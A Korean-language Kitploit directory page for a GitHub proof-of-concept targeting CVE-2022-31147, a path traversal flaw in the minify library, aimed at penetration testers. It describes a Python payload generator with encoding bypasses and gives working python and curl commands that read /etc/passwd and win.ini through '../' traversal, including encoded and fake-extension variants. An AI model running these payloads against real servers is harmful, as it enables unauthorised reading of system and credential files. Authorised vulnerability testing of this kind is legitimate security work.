Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Webapp_Pentast — CVE-2022-31147은 matthiasmullie/minify의 경로 탐색 결함입니다. 이 가이드는 보안 팀이 Python과 curl을 사용하여 Linux 및 Windows에서 임의 파일 읽기를 테스트하는 데 도움을 줍니다. 자동화된 페이로드 생성, 수동 검증 및 취약점 평가를 위한 안전한 관행을 다룹니다. | Kitploit
도구/GitHubGitHub/amhar-hckr/webapp_pentast
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubamhar-hckr/webapp_pentast

Webapp_Pentast

CVE-2022-31147은 matthiasmullie/minify의 경로 탐색 결함입니다. 이 가이드는 보안 팀이 Python과 curl을 사용하여 Linux 및 Windows에서 임의 파일 읽기를 테스트하는 데 도움을 줍니다. 자동화된 페이로드 생성, 수동 검증 및 취약점 평가를 위한 안전한 관행을 다룹니다.

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-31147 개념 증명 및 수동 테스트 가이드

이 가이드는 널리 사용되는 matthiasmullie/minify 라이브러리에 영향을 미치는 심각한 경로 순회 취약점인 CVE-2022-31147을 테스트하기 위한 포괄적인 방법론을 제공합니다. 이 취약점은 공격자가 minify 엔드포인트의 입력 검증 부족을 악용하여 Linux 및 Windows 서버 모두에서 임의의 파일 읽기 작업을 가능하게 합니다. 이 가이드는 웹 애플리케이션의 이 위협에 대한 노출을 평가하려는 보안 전문가, 침투 테스터 및 연구자를 위해 설계되었습니다.

이 가이드의 핵심은 자동화된 Python 개념 증명 스크립트로, 다양한 깊이의 디렉터리 트래버설(../), 여러 인코딩 방식(URL 인코딩 및 이중 인코딩 등), 엔드포인트 변형(가짜 확장자 및 쿼리 매개변수 포함)을 체계적으로 생성하고 테스트하여 일반적인 라우팅 및 필터링 메커니즘을 우회합니다. 이러한 기법을 활용함으로써 스크립트는 기본 웹 애플리케이션 방화벽이나 사용자 정의 라우팅 로직으로 보호되는 환경에서도 취약한 구성을 탐지할 가능성을 극대화합니다.

탐지 정확도는 응답 콘텐츠에서 알려진 파일 마커를 분석하는 내장 휴리스틱을 통해 더욱 향상됩니다. Linux 대상의 경우 스크립트는 /etc/passwd 또는 기타 민감한 파일의 패턴을 검색하고, Windows 시스템의 경우 win.ini와 같은 파일 내의 지표를 찾습니다. 이 접근 방식은 성공적인 익스플로잇을 안정적으로 식별하여 오탐을 최소화하고 검증 프로세스를 간소화합니다.

자동화된 테스트 외에도 가이드는 curl을 사용한 수동 검증 기법을 설명하여 실무자가 맞춤형 요청을 작성하고 보내거나 발견 사항을 독립적으로 확인할 수 있도록 합니다. 안전하고 승인된 테스트에 대한 권장 사항은 가이드 전반에 걸쳐 강조되며, 명시적 허가를 받은 시스템에서만 평가를 수행하는 것이 중요함을 포함합니다.

이 가이드는 빠른 검증과 심층 분석을 모두 지원하도록 설계되었으며, 사용자 정의 파일 대상 및 고급 우회 전략을 수용합니다. 더 넓은 취약성 평가 워크플로우에 통합되어 완화 및 위험 관리에 대한 실행 가능한 인사이트를 제공합니다. 제시된 방법론을 따르면 보안 팀은 환경에서 CVE-2022-31147 노출을 효과적으로 식별, 검증 및 해결하여 웹 애플리케이션의 전반적인 보안 상태를 강화할 수 있습니다.


자동화된 Python PoC

Linux 대상 예제

root@kitploit:~
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --linux --file /etc/passwd

Windows 대상 예제

root@kitploit:~
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --windows --file C:\Windows\win.ini

안전한 테스트 (권장)

서버에 무해한 파일을 생성한 후 읽기를 시도합니다:

root@kitploit:~
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --file /var/www/test.txt

curl을 이용한 수동 테스트

Linux 경로 트래버설

root@kitploit:~
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../etc/passwd"

Windows 경로 트래버설

root@kitploit:~
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../windows/win.ini"

우회 변형

root@kitploit:~
curl -i "https://yourdomain.tld/cdn/minify/%2e%2e/../%2e%2e/../../etc/passwd"
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../etc/passwd.css"

참고 사항

  • https://yourdomain.tld/cdn/minify를 실제 대상 URL로 바꾸십시오.
  • 더 안전한 테스트를 위해 서버에 존재하는 것으로 알고 있는 파일을 사용하십시오.
  • 시스템에서 테스트하기 전에 항상 허가를 받으십시오.

참고 자료

  • CVE-2022-31147
도구 다운로드